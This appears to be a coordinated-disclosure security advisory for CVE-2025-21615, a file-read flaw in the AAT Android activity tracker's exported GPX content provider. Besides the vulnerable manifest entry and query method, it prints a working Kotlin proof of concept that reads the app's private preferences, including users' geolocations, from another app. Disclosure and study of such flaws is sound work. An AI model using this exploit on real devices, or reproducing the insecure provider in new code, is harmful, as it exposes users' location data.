zum Inhalt springen

An insecurely configured content provider in the AAT Android App, allowed an attacker to exfiltrate data via malicious apps installed on the same device

Open Source

NTCF:
NTCF-2024-8731

CVE:
CVE-2025-21615

Product:
Another Activity Tracker AAT

Vendor:
bailuk

Criticality:
medium

Status:
fixed

Discovered:
2024-01-16

Detail:
Public

Vulnerable version:
<1.26

Fixed version:
1.26

Background

Another Activity Tracker AAT is a an open source GPS-tracking application for tracking sportive activities, with emphasis on cycling. The NTC tested the mobile app as part of our commitment to look into popular Swiss open source projects.

The app can be downloaded from F-Droid and its' source code is available on GitHub.

Vulnerability

Malicious apps installed on the same device as AAT can exfiltrate data including geolocations. This is possible by calling the exported ch.bailu.aat.gpx content provider.

The vulnerable content provider is definded in the Manifest.xml. (From https://github.com/bailuk/AAT/blob/8518a2d80c65f3f0dc7b884ed0213f07e457cb71/aat-android/src/main/AndroidManifest.xml#L185):

<provider android:name="ch.bailu.aat.providers.GpxProvider" android:authorities="${applicationId}.gpx" android:exported="true"> </provider>

As the activity is exported, it can be called by other apps installed on the device. The content provider query method did not validate the input parameters and allowed other apps to retrieve file contents from specified urls. The snippet below originates from https://github.com/bailuk/AAT/blob/3878c638ab8b2730ce3e9ed6b0b861ac51945f5d/aat-android/src/main/kotlin/ch/bailu/aat/providers/GpxProvider.kt#L30 and shows the vulnerable method.

override fun query( uri: Uri, strings: Array<String>?, s: String?, strings2: Array<String>?, s2: String? ): Cursor { val cursor = MatrixCursor(arrayOf( OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE)) val path = uri.path if (path != null) { val file = File(path) cursor.addRow(arrayOf<Any>(file.name, file.length())) } return cursor }

Proof of Concept

To exploit this vulnerability, a different app needs to specify the provider in their Manifest.xml:

<queries> <provider android:authorities="ch.bailu.aat.gpx" /> </queries>

Using this provider, a malicious application can read the shared preferences of AAT, but it is possible to steal other data as well. The snippet below shows a way to retrieve the shared preferences from AAT, which also include the geolocation of users.

class MainActivity : ComponentActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) val URL = Uri.parse( "content://ch.bailu.aat.gpx/data/data/ch.bailu.aat/shared_prefs/Preferences.xml") try { val pfd = contentResolver.openFile(URL, "r", null) FileInputStream(pfd!!.fileDescriptor).use { inputStream -> Log.wtf( "Stolen File", String(inputStream.readAllBytes()) ) } } catch (e: IOException) { Log.wtf("Exception Happened", e.message.toString()) } } }


The result of the snippet is shown in the screenshot below.

AAT extract geolocation

Remediation

The vulnerabilty was fixed in e1e1e697ae6aaef400f0a0f768fd66e40c34f61a. The app now only gives access to the one file that explicitly allowed for export by the user and limits that access to 30 seconds.

Patches

This issue has been fixed in version 1.26. It is recommended that all users of AAT update to the latest version.

Timeline

2024-01-16: initial discovery

2024-01-31: first contact to vendor

2024-06-03: no reply via email; filed an issue asking for a security contact

2024-06-10: private disclosure to vendor

2024-06-10: filed a private security advisory on GitHub

2024-07-20: fix by vendor

2024-09-16: asked maintainer if they would be ok with a public advisory

2024-10-07: reply by Maintainer: CVE and advisory is fine

2024-10-22: advisory text adjusted by NTC; Gave go ahead for publication

2025-01-06: advisory published by maintainer

2025-01-07: CVE-2025-21615 assigned by GitHub

2025-01-20: public disclosure